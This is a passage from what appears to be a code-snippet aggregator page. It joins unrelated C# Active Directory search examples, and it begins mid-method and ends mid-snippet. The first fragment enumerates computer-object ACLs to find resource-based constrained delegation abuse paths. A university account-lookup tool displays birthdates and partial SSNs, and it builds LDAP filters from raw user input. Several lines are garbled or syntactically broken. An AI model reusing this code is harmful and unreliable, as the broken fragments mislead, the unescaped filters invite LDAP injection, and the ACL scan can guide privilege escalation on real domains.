                    var aclId    = (byte[])result.Properties["objectsid"][0];
                    var objectID = (new SecurityIdentifier(aclId, 0)).ToString();
                    allSids.Add(objectID.ToString());
                    sidMapping.Add(objectID.ToString(), result.Properties["samaccountname"][0].ToString());
                }

                Console.WriteLine("There are this many computers: " + aclResults.Count);

                List <SearchResult> resultList = new List <SearchResult>();
                foreach (SearchResult acl in aclResults)
                {
                    resultList.Add(acl);
                }

                List <rbcd> rbcdList = new List <rbcd>();

                Parallel.ForEach(resultList, (SearchResult aclResult) =>
                {
                    var Object = aclResult.Properties;

                    var computerId  = (byte[])aclResult.Properties["objectsid"][0];
                    var computerSid = (new SecurityIdentifier(computerId, 0)).ToString();

                    ActiveDirectorySecurity adsd = new ActiveDirectorySecurity();
                    adsd.SetSecurityDescriptorBinaryForm(Object["ntSecurityDescriptor"][0] as byte[]);
                    AuthorizationRuleCollection arc = adsd.GetAccessRules(true, false, typeof(System.Security.Principal.SecurityIdentifier));

                    foreach (ActiveDirectoryAccessRule adRule in arc)
                    {
                        string sid = null;
                        sid        = adRule.IdentityReference.ToString();

                        string hostname = null;
                        try
                        {
                            hostname = Object["dnshostname"][0].ToString();
                        }
                        catch
                        {
                            continue;
                        }
                        if (hostname == null)
                        {
                            hostname = Object["samaccountname"][0].ToString();
                        }

                        if (adRule.ActiveDirectoryRights == ActiveDirectoryRights.GenericAll)
                        {
                            if (allSids.Contains(sid) && sid != computerSid)
                            {
                                rbcdList.Add(new rbcd(sidMapping[sid], hostname, "GenericAll"));
                            }
                        }
                        else if (adRule.ActiveDirectoryRights.ToString().Contains("GenericWrite"))
                        {
                            if (allSids.Contains(sid) && sid != computerSid)
                            {
                                rbcdList.Add(new rbcd(sidMapping[sid], hostname, "GenericWrite"));
                            }
                        }
                        else if (adRule.ActiveDirectoryRights.ToString().Contains("WriteOwner"))
                        {
                            if (allSids.Contains(sid) && sid != computerSid)
                            {
                                rbcdList.Add(new rbcd(sidMapping[sid], hostname, "WriteOwner"));
                            }
                        }
                    }
                });
                Console.WriteLine("Execution time = {0} seconds", stopWatch.Elapsed.TotalSeconds);
                Console.WriteLine("Number of possible RBCD ACLs: " + rbcdList.Count);
                foreach (rbcd oneRbcd in rbcdList)
                {
                    Console.WriteLine("RBCD ACL:\nSource: " + oneRbcd.Source + "\nDestination: " + oneRbcd.Destination + "\nPrivilege: " + oneRbcd.Privilege + "\n");
                }
            }
        }
 public List<UserProxyPrincipal> GetChildUserProxyObjects(int maxRecords)
 {
     var directoryDe = new DirectoryEntry();
     if (ContextType == ContextType.ApplicationDirectory)
     {
         if (!string.IsNullOrEmpty(Container) &&
             !string.IsNullOrEmpty(Name))
         {
             directoryDe = new DirectoryEntry(string.Format("LDAP://{0}/{1}", Name, Container));
         }
         else
         {
             directoryDe = new DirectoryEntry(string.Format("LDAP://{0}", Name));
         }
     }
     if (ContextType == ContextType.Machine ||
         ContextType == ContextType.Domain)
     {
         throw new NotSupportedException(
             "This functionality is only available for ApplicationDirectory ContextType PrincipalContext objects.");
     }
     var search = new DirectorySearcher(directoryDe)
     {
         Tombstone = false,
         Asynchronous = true,
         PageSize = 100,
         Filter = "(objectClass=userProxy)"
     };
     var results = search.FindAll();
     var i = 0;
     var children = new List<UserProxyPrincipal>();
     foreach (SearchResult result in results)
     {
         i++;
         var delims = new[] {'/'};
         var pieces = result.Path.Split(delims);
         var dn = pieces[pieces.Count() - 1];
         if (maxRecords > 0 && i > maxRecords)
         {
             break;
         }
         try
         {
             children.Add(UserProxyPrincipal.FindByIdentity(this, IdentityType.DistinguishedName, dn));
         }
         catch
         {
         }
     }
     return children;
 }
Ejemplo n.º 15
0
        /// <summary>
        /// 搜索部门AD
        /// </summary>
        /// <param name="path"></param>
        /// <param name="objFilter"></param>
        /// <param name="dicPropertes"></param>
        /// <returns></returns>
        public List <ADDepartment> SearchDepartment(string path, string objFilter, Dictionary <string, string> dicPropertes, string pathAnalyseClass)
        {
            List <ADDepartment> depList = new List <ADDepartment>();

            string[] arrPropertes = dicPropertes.Keys.ToArray();
            try
            {
                path = "LDAP://" + (String.IsNullOrEmpty(this.Domain) == false ? this.Domain : "") + path;
                DirectoryEntry root = null;
                if (authorizeType == AuthorizeType.anonymous)
                {
                    root = new DirectoryEntry(path, "", "", AuthenticationTypes.Anonymous);
                }
                else if (authorizeType == AuthorizeType.none)
                {
                    root = new DirectoryEntry(path, this.UserName, this.PassWord, AuthenticationTypes.None);
                }
                if (root != null)
                {
                    Console.WriteLine("开始遍历AD部门" + root.Path);
                    using (DirectorySearcher searcher = new DirectorySearcher())
                    {
                        searcher.SearchRoot  = root;
                        searcher.SearchScope = SearchScope.Subtree;
                        searcher.Filter      = objFilter;
                        searcher.PropertiesToLoad.AddRange(arrPropertes);

                        SearchResultCollection results = searcher.FindAll();
                        StringBuilder          summary = new StringBuilder();
                        foreach (SearchResult result in results)
                        {
                            ADDepartment dep = new ADDepartment();
                            foreach (string propName in result.Properties.PropertyNames)
                            {
                                if (dicPropertes[propName] != null)
                                {
                                    dep.SetDynamicProperty(dicPropertes[propName].ToString(), result.Properties[propName][0].ToString());
                                }
                            }
                            IPathAnalyse analyse = null;
                            analyse = (IPathAnalyse)Activator.CreateInstance("Yinhe.ProcessingCenter", pathAnalyseClass).Unwrap();//"Yinhe.ProcessingCenter.SynAD.PathAnalyseXH"
                            if (analyse != null)
                            {
                                if (String.IsNullOrEmpty(dep.Name) == false)
                                {
                                    dep.Code            = analyse.GetDepCode(dep.Path);
                                    dep.Level           = analyse.GetDepLevel(dep.Path);
                                    dep.ParentName      = analyse.GetDepParentName(dep.Path);
                                    dep.GrandParentName = analyse.GetGrandParentName(dep.Path);
                                    if (pathAnalyseClass != "Yinhe.ProcessingCenter.SynAD.PathAnalyseHQC")  //中海投资
                                    {
                                        dep.Guid = result.GetDirectoryEntry().Guid.ToString();
                                    }
                                    else
                                    {
                                        if (dep.ParentName.ToLower() == "cn=org")
                                        {
                                            dep.ParentName = "华侨城组织架构";
                                        }
                                        if (dep.GrandParentName.ToLower() == "cn=org")
                                        {
                                            dep.GrandParentName = "华侨城组织架构";
                                        }
                                    }
                                }
                                depList = analyse.GetDepListFilter(depList, dep);
                            }
                            Console.WriteLine(dep.Name);
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }

            return(depList);
        }
Ejemplo n.º 16
0
        internal static string GetFullyQualifiedDomainName(string DomainController)
        {
            TaskLogger.LogEnter();
            DirectoryEntry         directoryEntry         = null;
            DirectoryEntry         directoryEntry2        = null;
            DirectorySearcher      directorySearcher      = null;
            SearchResultCollection searchResultCollection = null;
            int num;

            try
            {
                string path = NewOwaVirtualDirectory.LDAPPrefix(DomainController) + "RootDSE";
                directoryEntry           = new DirectoryEntry(path);
                directoryEntry2          = new DirectoryEntry(NewOwaVirtualDirectory.LDAPPrefix(DomainController) + directoryEntry.Properties["configurationNamingContext"].Value);
                directorySearcher        = new DirectorySearcher(directoryEntry2);
                directorySearcher.Filter = "(&(objectClass=msExchRecipientPolicy)(msExchPolicyOrder=2147483647))";
                directorySearcher.PropertiesToLoad.Add("gatewayProxy");
                directorySearcher.SearchScope = SearchScope.Subtree;
                searchResultCollection        = directorySearcher.FindAll();
                foreach (object obj in searchResultCollection)
                {
                    SearchResult searchResult = (SearchResult)obj;
                    ResultPropertyValueCollection resultPropertyValueCollection = searchResult.Properties["gatewayProxy"];
                    foreach (object obj2 in resultPropertyValueCollection)
                    {
                        string text = obj2.ToString();
                        if (text.StartsWith("SMTP:"))
                        {
                            num = text.IndexOf('@');
                            if (num >= 0)
                            {
                                TaskLogger.LogExit();
                                return(text.Substring(num + 1));
                            }
                        }
                    }
                }
            }
            catch (COMException ex)
            {
                throw new IISGeneralCOMException(ex.Message, ex.ErrorCode, ex);
            }
            finally
            {
                if (searchResultCollection != null)
                {
                    searchResultCollection.Dispose();
                }
                if (directorySearcher != null)
                {
                    directorySearcher.Dispose();
                }
                if (directoryEntry2 != null)
                {
                    directoryEntry2.Dispose();
                }
                if (directoryEntry != null)
                {
                    directoryEntry.Dispose();
                }
            }
            TaskLogger.LogExit();
            string      hostName  = Dns.GetHostName();
            IPHostEntry hostEntry = Dns.GetHostEntry(hostName);
            string      hostName2 = hostEntry.HostName;

            num = hostName2.IndexOf('.');
            return((num >= 0 && num < hostName2.Length - 1) ? hostName2.Substring(num + 1) : hostName2);
        }
Ejemplo n.º 17
0
        /// <summary>
        /// 搜索用户
        /// </summary>
        /// <param name="path"></param>
        /// <param name="objFilter"></param>
        /// <param name="dicPropertes"></param>
        /// <returns></returns>
        public List <ADUser> SearchUser(string path, string objFilter, Dictionary <string, string> dicPropertes, string pathAnalyseClass)
        {
            List <ADUser> userList = new List <ADUser>();

            string[] arrPropertes = dicPropertes.Keys.ToArray();


            try
            {
                path = "LDAP://" + (String.IsNullOrEmpty(this.Domain) == false ? this.Domain : "") + path;
                DirectoryEntry root = null;
                if (authorizeType == AuthorizeType.anonymous)
                {
                    root = new DirectoryEntry(path, "", "", AuthenticationTypes.Anonymous);
                }
                else if (authorizeType == AuthorizeType.none)
                {
                    root = new DirectoryEntry(path, this.UserName, this.PassWord, AuthenticationTypes.None);
                }

                if (root != null)
                {
                    Console.WriteLine(root.Path);
                    using (DirectorySearcher searcher = new DirectorySearcher())
                    {
                        searcher.SearchRoot  = root;
                        searcher.SearchScope = SearchScope.Subtree;
                        searcher.Filter      = objFilter;
                        searcher.PageSize    = 10000;
                        searcher.PropertiesToLoad.AddRange(arrPropertes);

                        SearchResultCollection results = searcher.FindAll();
                        StringBuilder          summary = new StringBuilder();
                        foreach (SearchResult result in results)
                        {
                            ADUser user = new ADUser();
                            foreach (string propName in result.Properties.PropertyNames)
                            {
                                //Console.WriteLine("字段名称:{0}, 字段值:{1}\n", propName, result.Properties[propName][0].ToString());
                                if (dicPropertes.Keys.Contains(propName) == true)
                                {
                                    if (dicPropertes[propName] != null)
                                    {
                                        user.SetDynamicProperty(dicPropertes[propName].ToString(), result.Properties[propName][0].ToString());
                                    }
                                }
                            }
                            //Console.ReadLine();
                            IPathAnalyse analyse = null;
                            analyse = (IPathAnalyse)Activator.CreateInstance("Yinhe.ProcessingCenter", pathAnalyseClass).Unwrap();
                            if (analyse != null)
                            {
                                if (String.IsNullOrEmpty(user.Name) == false)
                                {
                                    if (pathAnalyseClass != "Yinhe.ProcessingCenter.SynAD.PathAnalyseHQC")
                                    {
                                        user.Guid              = result.GetDirectoryEntry().Guid.ToString();
                                        user.Code              = analyse.GetUserCode(user.Path);
                                        user.DepartMentID      = analyse.GetUserDepartment(user.Path);
                                        user.GrandDepartMentID = analyse.GetUserGrandDepartment(user.Path);
                                    }
                                    else
                                    {
                                        user.DepartMentGuid = user.Code;
                                    }
                                }
                                userList = analyse.GetUserListFilter(userList, user);
                            }
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }

            return(userList);
        }
Ejemplo n.º 18
0
        private void runSearch(string pantherID, string fiuUsername)
        {
            String output = "", emplOutput = "", studentOutput = "", visitorOutput = "", macOutput = "";
            if (pantherID.Length == 7 || fiuUsername != "") // Panther ID
            {
                DirectorySearcher emplDS = new DirectorySearcher(new DirectoryEntry(/*LDAP HERE*/));
                if (fiuUsername != "")
                {
                    emplDS.Filter = "(&((&(objectCategory=Person)))(sAMAccountName=" + fiuUsername + "))";
                }
                else
                {
                    emplDS.Filter = "(&((&(objectCategory=Person)))(EmployeeID=" + pantherID + "))";
                }
                SearchResult emplSR = emplDS.FindOne();
                if (emplSR != null)
                {
                    ResultPropertyCollection emplResult = emplSR.Properties;
                    foreach (string myKey in emplResult.PropertyNames)
                    {
                        emplOutput += myKey + " = ";
                        foreach (Object myCollection in emplResult[myKey])
                        {
                            emplOutput += myCollection + "   ";
                        }
                        emplOutput += Environment.NewLine;
                    }

                    try
                    {
                        output += "Name: " + emplSR.Properties["displayName"][0];
                    }
                    catch (Exception)
                    {
                        output += "Name: N/A";
                    }
                    output += Environment.NewLine + "-----------------------" + Environment.NewLine;

                    try
                    {
                        output += "Username: "******"sAMAccountName"][0] + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Username: N/A\n";
                    }

                    try
                    {
                        output += "Panther ID: " + emplSR.Properties["EmployeeID"][0] + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Panther ID: N/A" + Environment.NewLine;
                    }

                    try
                    {
                        int accountState = Convert.ToInt32(emplSR.Properties["userAccountControl"][0]);
                        if (accountState.Equals(544) | accountState.Equals(512))
                        {
                            output += "Status: Enabled" + Environment.NewLine;
                        }
                        else if (accountState.Equals(546))
                        {
                            output += "Status: Disabled" + Environment.NewLine;
                        }
                        else
                        {
                            output += "Status: Other" + Environment.NewLine;
                        }
                    }
                    catch (Exception e)
                    {
                        output += "Status: Unknown" + Environment.NewLine; ;
                    }

                    try
                    {
                        output += "Department: " + emplSR.Properties["department"][0].ToString() + Environment.NewLine + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Department: Unknown" + Environment.NewLine + Environment.NewLine;
                    }


                    output += "Demographic Information" + Environment.NewLine + "----------------------------" + Environment.NewLine;
                    try
                    {
                        output += "Date of Birth: " + emplSR.Properties["fiubirthdate"][0] + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Date of Birth: N/A" + Environment.NewLine;
                    }
                    try
                    {
                        output += "Last 4 SSN: " + emplSR.Properties["fiul4ssn"][0] + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Last 4 SSN: N/A" + Environment.NewLine;
                    }
                    try
                    {
                        output += "Zip Code: " + emplSR.Properties["fiucontactzip"][0] + Environment.NewLine + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Zip Code: N/A" + Environment.NewLine + Environment.NewLine;
                    }


                    output += "Extra Information" + Environment.NewLine + "-----------------------" + Environment.NewLine;
                    try
                    {
                        long expirationTime = (long)emplSR.Properties["accountExpires"][0];
                        if (expirationTime > 0)
                        {
                            output += "**ACCOUNT TO EXPIRE ON " + DateTime.FromFileTime(expirationTime) + "**" + Environment.NewLine;
                        }

                    }
                    catch (Exception e)
                    {
                        output += "";
                    }

                    try
                    {
                        output += "Lync Enabled: " + emplSR.Properties["msRTCSIP-UserEnabled"][0] + Environment.NewLine;
                    }
                    catch (Exception e)
                    {
                        output += "MS Lync Enabled: Unknown" + Environment.NewLine;
                    }

                    try
                    {
                        String mail = emplSR.Properties["mail"][0].ToString();
                    }
                    catch
                    {
                    }
                    String targetaddress = "";
                    try
                    {
                        targetaddress = emplSR.Properties["targetaddress"][0].ToString();
                    }
                    catch
                    {
                    }
                    String homemdb = "";
                    try
                    {
                        homemdb = emplSR.Properties["homemdb"][0].ToString();
                    }
                    catch
                    {
                    }

                    if (!(targetaddress.Equals("")) && !(homemdb.Equals("")))
                    {
                        output += "Mailbox Type: Unknown" + Environment.NewLine; // may be broken 
                    }
                    else if ((targetaddress.Equals("")) && !(homemdb.Equals("")))
                    {
                        output += "Mailbox Type: Exchange" + Environment.NewLine;
                    }
                    else if (!(targetaddress.Equals("")) && (homemdb.Equals("")))
                    {
                        output += "Mailbox Type: Office 365" + Environment.NewLine;
                    }
                    else if ((targetaddress.Equals("")) && (homemdb.Equals("")))
                    {
                        output += "Mailbox Type: None" + Environment.NewLine;
                    }
                    else
                    {
                        output += "Mailbox Type: Unknown" + Environment.NewLine;
                    }

                    try
                    {
                        if ((long)emplSR.Properties["LockOutTime"][0] == 0)
                        {
                            output += "Locked out: False" + Environment.NewLine;
                        }
                        else
                        {
                            output += "Locked out: True" + Environment.NewLine;
                        }
                    }
                    catch (Exception)
                    {
                        output += "Locked out: Unknown" + Environment.NewLine;
                    }

                    if ((long)emplSR.Properties["pwdLastSet"][0] == 0)
                    {
                        output += "Password Last Set : Not Set or May be Default" + Environment.NewLine;
                    }
                    else
                    {
                        output += "Password Last Set : " + DateTime.FromFileTime((long)emplSR.Properties["pwdLastSet"][0]).ToString() + Environment.NewLine;
                    }

                    DateTime d1 = DateTime.Now;
                    DateTime d2 = DateTime.FromFileTime((long)emplSR.Properties["pwdLastSet"][0]);
                    System.TimeSpan diff = d1.Subtract(d2);
                    int daysLeft = 182 - diff.Days;
                    // 6 months == 182.621 days
                    if (daysLeft <= 0) { output += "**PASSWORD IS EXPIRED**" + Environment.NewLine; }
                    else if (daysLeft <= 14) { output += String.Format("**PASSWORD WILL EXPIRE IN {0} DAY(S)**" + Environment.NewLine, daysLeft); }

                    try
                    {
                        output += "Last Logon: " + DateTime.FromFileTime((long)emplSR.Properties["lastLogon"][0]) + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Last Login: Unknown" + Environment.NewLine;
                    }
                    try
                    {
                        output += "Bad Password: "******"badPasswordTime"][0]) + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Bad Password: Unknown" + Environment.NewLine;
                    }
                    output += "When Created: " + emplSR.Properties["whenCreated"][0] + Environment.NewLine;

                }
                else
                {
                    output += "";
                }


                DirectorySearcher studentDS = new DirectorySearcher(new DirectoryEntry(/*LDAP HERE*/)));
                if (fiuUsername != "")
                {
                    studentDS.Filter = "(&((&(objectCategory=Person)))(sAMAccountName=" + fiuUsername + "))";
                }
                else
                {
                    studentDS.Filter = "(&((&(objectCategory=Person)))(EmployeeID=" + pantherID + "))";
                }
                SearchResult studentSR = studentDS.FindOne();
                if (studentSR != null)
                {
                    if (emplSR != null)
                    {
                        output += Environment.NewLine + "==============================" + Environment.NewLine;
                    }

                    ResultPropertyCollection studentResult = studentSR.Properties;
                    foreach (string myKey in studentResult.PropertyNames)
                    {
                        studentOutput += myKey + " = ";
                        foreach (Object myCollection in studentResult[myKey])
                        {
                            studentOutput += myCollection + "   ";
                        }
                        studentOutput += Environment.NewLine;
                    }
                    try
                    {
                        output += "Name: " + studentSR.Properties["displayName"][0];
                    }
                    catch (Exception)
                    {
                        output += "Name: Unknown";
                    }
                    output += Environment.NewLine + "-----------------------" + Environment.NewLine;
                    try
                    {
                        output += "Username: "******"sAMAccountName"][0] + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Username: Unknown" + Environment.NewLine;
                    }
                    try
                    {
                        output += "Panther ID: " + studentSR.Properties["EmployeeID"][0] + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Panther ID: Unknown" + Environment.NewLine;
                    }
                    try
                    {
                        String fiuStatus = studentSR.Properties["fiuStatus"][0].ToString();
                        output += "Status: " + fiuStatus + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Status: Unknown" + Environment.NewLine;
                    }

                    output += Environment.NewLine + "Demographic Information" + Environment.NewLine + "----------------------------" + Environment.NewLine;
                    try
                    {
                        output += "Date of Birth: " + studentSR.Properties["fiubirthdate"][0] + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Date of Birth: N/A" + Environment.NewLine;
                    }
                    try
                    {
                        output += "Last 4 SSN: " + studentSR.Properties["fiul4ssn"][0] + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Last 4 SSN: N/A" + Environment.NewLine;
                    }
                    try
                    {
                        output += "Zip Code: " + studentSR.Properties["fiucontactzip"][0] + Environment.NewLine + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Zip Code: N/A" + Environment.NewLine + Environment.NewLine;
                    }


                    output += "Extra Information" + Environment.NewLine + "-----------------------" + Environment.NewLine;
                    try
                    {
                        if ((long)studentSR.Properties["LockOutTime"][0] == 0)
                        {
                            output += "Locked out: False" + Environment.NewLine;
                        }
                        else
                        {
                            output += "Locked out: True" + Environment.NewLine;
                        }
                    }
                    catch (Exception)
                    {
                        output += "Locked out? UNKNOWN" + Environment.NewLine;
                    }
                    if ((long)studentSR.Properties["pwdLastSet"][0] == 0)
                    {
                        output += "Password Last Set : Not Set or May be Default" + Environment.NewLine;
                    }
                    else
                    {
                        output += "Password Last Set : " + DateTime.FromFileTime((long)studentSR.Properties["pwdLastSet"][0]).ToString() + Environment.NewLine;
                    }

                    DateTime d1 = DateTime.Now;
                    DateTime d2 = DateTime.FromFileTime((long)studentSR.Properties["pwdLastSet"][0]);
                    System.TimeSpan diff = d1.Subtract(d2);
                    int daysLeft = 182 - diff.Days;
                    // 6 months == 182.621 days
                    if (daysLeft <= 0) { output += "**PASSWORD IS EXPIRED**" + Environment.NewLine; }
                    else if (daysLeft <= 14) { output += String.Format("**PASSWORD WILL EXPIRE IN {0} DAY(S)**" + Environment.NewLine, daysLeft); }

                    try
                    {
                        output += "Last Logon: " + DateTime.FromFileTime((long)studentSR.Properties["lastLogon"][0]) + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Last Login: Unknown" + Environment.NewLine;
                    }
                    try
                    {
                        output += "Bad Password: "******"badPasswordTime"][0]) + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "Bad Password: Unknown" + Environment.NewLine;
                    }

                    output += "When Created: " + studentSR.Properties["whenCreated"][0] + Environment.NewLine;
                }

                if (pantherID != "" && (emplSR != null|| studentSR !=null))
                {
                    DirectorySearcher devicesDS = new DirectorySearcher(new DirectoryEntry(/*LDAP HERE*/)));
                    devicesDS.Filter = "(&((&(objectCategory=Person)))(fiunsseowner=" + pantherID + "))";
                    SearchResultCollection devicesSR = devicesDS.FindAll();
                    if (devicesSR != null)
                    {
                        output += Environment.NewLine + "==============================" + Environment.NewLine;
                        foreach (SearchResult deviceSR in devicesSR)
                        {
                            output += "MAC: " + deviceSR.Properties["GivenName"][0] + Environment.NewLine;
                            output += "Description: " + deviceSR.Properties["fiuNSSEdescription"][0] + Environment.NewLine + Environment.NewLine;
                        }
                    }
                }
                else if(emplSR == null && studentSR == null)
                {
                    output += "No Results Found" + Environment.NewLine;
                }

            }

            else if (pantherID.Length == 10)// Visitor Account
            {
                DirectorySearcher visitorDS = new DirectorySearcher(new DirectoryEntry(/*LDAP HERE*/)));
                visitorDS.Filter = "(&((&(objectCategory=Person)))(CN=" + pantherID + "))";
                SearchResult visitorSR = visitorDS.FindOne();
                if (visitorSR != null)
                {
                    ResultPropertyCollection visitorResult = visitorSR.Properties;
                    foreach (string myKey in visitorResult.PropertyNames)
                    {
                        visitorOutput += myKey + " = ";
                        foreach (Object myCollection in visitorResult[myKey])
                        {
                            visitorOutput += myCollection + "   ";
                        }
                        visitorOutput += Environment.NewLine;
                    }
                    try
                    {
                        output += "Username: "******"samaccountname"][0].ToString() + Environment.NewLine;
                    }
                    catch
                    {
                        output += "" + Environment.NewLine;
                    }
                    output += "-----------------------" + Environment.NewLine;
                    try
                    {
                        output += "Description: " + visitorSR.Properties["fiuNSSEdescription"][0].ToString() + Environment.NewLine;
                    }
                    catch
                    {
                        output += "";
                    }
                    try
                    {
                        output += "Email: " + visitorSR.Properties["fiunsseowner"][0].ToString() + Environment.NewLine + Environment.NewLine;
                    }
                    catch (Exception)
                    {
                        output += "";
                    }

                    output += "Extra Information" + Environment.NewLine + "-----------------------" + Environment.NewLine;
                    output += "Registered on: " + DateTime.FromFileTime((long)visitorSR.Properties["pwdLastSet"][0]).ToString() + Environment.NewLine;
                    output += "Expires: " + DateTime.FromFileTime((long)visitorSR.Properties["accountExpires"][0]).ToString() + Environment.NewLine;
                }
                else
                {

                }
            }

            else if (fiuUsername.Length == 17 || fiuUsername.Length == 12) // MAC Registration
            {
                String macColon = "", macDash = "", macNone = "";
                if (fiuUsername.Contains(":"))
                {
                    macColon = fiuUsername;
                    macDash = fiuUsername.Replace(":", "-");
                    macNone = fiuUsername.Replace(":", "");
                }
                else if (fiuUsername.Contains("-"))
                {
                    macColon = fiuUsername.Replace("-", ":");
                    macDash = fiuUsername;
                    macNone = fiuUsername.Replace("-", "");
                }
                else
                {
                    macColon = fiuUsername.Substring(0, 2) + ":" + fiuUsername.Substring(2, 2) + ":" + fiuUsername.Substring(4, 2) + ":" + fiuUsername.Substring(6, 2) + ":" + fiuUsername.Substring(8, 2) + ":" + fiuUsername.Substring(10, 2);
                    macDash = fiuUsername.Substring(0, 2) + "-" + fiuUsername.Substring(2, 2) + "-" + fiuUsername.Substring(4, 2) + "-" + fiuUsername.Substring(6, 2) + "-" + fiuUsername.Substring(8, 2) + "-" + fiuUsername.Substring(10, 2);
                    macNone = fiuUsername;
                }
                resultBox.Text = output;

                DirectorySearcher dsColon = new DirectorySearcher(new DirectoryEntry(/*LDAP HERE*/)));
                dsColon.Filter = "(&((&(objectCategory=Person)))(CN=" + macColon + "))";
                SearchResult srColon = dsColon.FindOne();
                if (srColon != null)
                {
                    ResultPropertyCollection macResult = srColon.Properties;
                    foreach (string myKey in macResult.PropertyNames)
                    {
                        macOutput += myKey + " = ";
                        foreach (Object myCollection in macResult[myKey])
                        {
                            macOutput += myCollection + "   ";
                        }
                        macOutput += Environment.NewLine;
                    }

                    output += "Registration Information\n-----------------------\n";
                    try
                    {
                        output += "Device \"Name\": " + srColon.Properties["fiuNSSEdescription"][0] + "\n";
                    }
                    catch (Exception)
                    {
                        output += "Device \"Name\": N/A\n";
                    }
                    try
                    {
                        output += "Device MAC Address: " + srColon.Properties["GivenName"][0] + "\n";
                    }
                    catch (Exception)
                    {
                    }
                    output += "Registered to: " + srColon.Properties["fiuNSSEowner"][0] + "\n\n";

                    output += "Extra Information\n-----------------------\n";
                    output += "Registered on: " + DateTime.FromFileTime((long)srColon.Properties["pwdLastSet"][0]).ToString() + "\n";
                    output += "Registration Expires on: " + DateTime.FromFileTime((long)srColon.Properties["accountExpires"][0]).ToString() + "\n\n";

                    resultBox.Text = output;
                }

                DirectorySearcher dsDash = new DirectorySearcher(new DirectoryEntry(/*LDAP HERE*/)));
                dsDash.Filter = "(&((&(objectCategory=Person)))(CN=" + macDash + "))";
                SearchResult srDash = dsDash.FindOne();
                if (srDash != null)
                {
                    ResultPropertyCollection macResult = srDash.Properties;
                    foreach (string myKey in macResult.PropertyNames)
                    {
                        macOutput += myKey + " = ";
                        foreach (Object myCollection in macResult[myKey])
                        {
                            macOutput += myCollection + "   ";
                        }
                        macOutput += Environment.NewLine;
                    }

                    output += "Registration Information\n-----------------------\n";
                    output += "Device \"Name\": " + srDash.Properties["fiuNSSEdescription"][0] + "\n";
                    output += "Device MAC Address: " + srDash.Properties["GivenName"][0] + "\n";
                    output += "Registered to: " + srDash.Properties["fiuNSSEowner"][0] + "\n\n";

                    output += "Extra Information\n-----------------------\n";
                    output += "Registered on: " + DateTime.FromFileTime((long)srDash.Properties["pwdLastSet"][0]).ToString() + "\n";
                    output += "Registration Expires on: " + DateTime.FromFileTime((long)srDash.Properties["accountExpires"][0]).ToString() + "\n\n";
                    resultBox.Text = output;
                }

                DirectorySearcher dsNone = new DirectorySearcher(new DirectoryEntry(/*LDAP HERE*/)));
                dsNone.Filter = "(&((&(objectCategory=Person)))(CN=" + macNone + "))";
                SearchResult srNone = dsNone.FindOne();
                if (srNone != null)
                {
                    ResultPropertyCollection macResult = srNone.Properties;
                    foreach (string myKey in macResult.PropertyNames)
                    {
                        macOutput += myKey + " = ";
                        foreach (Object myCollection in macResult[myKey])
                        {
                            macOutput += myCollection + "   ";
                        }
                        macOutput += Environment.NewLine;
                    }

                    output += "Registration Information\n-----------------------\n";
                    output += "Device \"Name\": " + srNone.Properties["fiuNSSEdescription"][0] + "\n";
                    output += "Device MAC Address: " + srNone.Properties["GivenName"][0] + "\n";
                    output += "Registered to: " + srNone.Properties["fiuNSSEowner"][0] + "\n\n";

                    output += "Extra Information\n-----------------------\n";
                    output += "Registered on: " + DateTime.FromFileTime((long)srNone.Properties["pwdLastSet"][0]).ToString() + "\n";
                    output += "Registration Expires on: " + DateTime.FromFileTime((long)srNone.Properties["accountExpires"][0]).ToString() + "\n\n";
                }
            }

            else
            {
                output += "No Results Found For " + pantherID + " " + fiuUsername;
            }

            resultBox.Text = output;
            if (exportLogFileToolStripMenuItem.Checked == true)
            {
                using (System.IO.StreamWriter writer = new System.IO.StreamWriter(Environment.GetFolderPath(System.Environment.SpecialFolder.Personal)))
                {
                    writer.WriteLine(emplOutput + Environment.NewLine + studentOutput + Environment.NewLine + visitorOutput + Environment.NewLine + macOutput);
                }
            }

        }
Ejemplo n.º 19
0
        public List <Person> GetPeople(string inputUserSearch)
        {
            string[]                    userstofind          = inputUserSearch.Split(';').Select(sValue => sValue.Trim()).ToArray();
            Person                      uInfo                = new Person();
            DirectoryEntry              ldapConnection       = createDirectoryEntry();
            DirectorySearcher           ldap_searcher        = new DirectorySearcher(ldapConnection);
            WindowsIdentity             winId                = (WindowsIdentity)HttpContext.Current.User.Identity;
            WindowsImpersonationContext impersonationContext = null;
            var UserList = new List <Person>();

            try
            {
                foreach (string user in userstofind)
                {
                    if (!string.IsNullOrEmpty(user))
                    {
                        log.Info("" + winId.Name + " is searching for: " + user + "");
                        impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        string filter = "(&(anr=" + user + "*)(samAccountType=805306368)(!userAccountControl:1.2.840.113556.1.4.803:=2))";
                        //properties to get
                        ldap_searcher.PropertiesToLoad.Clear();
                        ldap_searcher.PropertiesToLoad.Add("sAMAccountName");
                        ldap_searcher.PropertiesToLoad.Add("title");
                        ldap_searcher.PropertiesToLoad.Add("cn");
                        ldap_searcher.PropertiesToLoad.Add("department");
                        ldap_searcher.PropertiesToLoad.Add("distinguishedName");
                        ldap_searcher.PropertiesToLoad.Add("mail");
                        ldap_searcher.PropertiesToLoad.Add("thumbnailPhoto");
                        ldap_searcher.PropertiesToLoad.Add("physicalDeliveryOfficeName");
                        ldap_searcher.Filter = filter;
                        //create search collection
                        SearchResultCollection allemployee_results = ldap_searcher.FindAll();
                        if (allemployee_results.Count == 0)
                        {
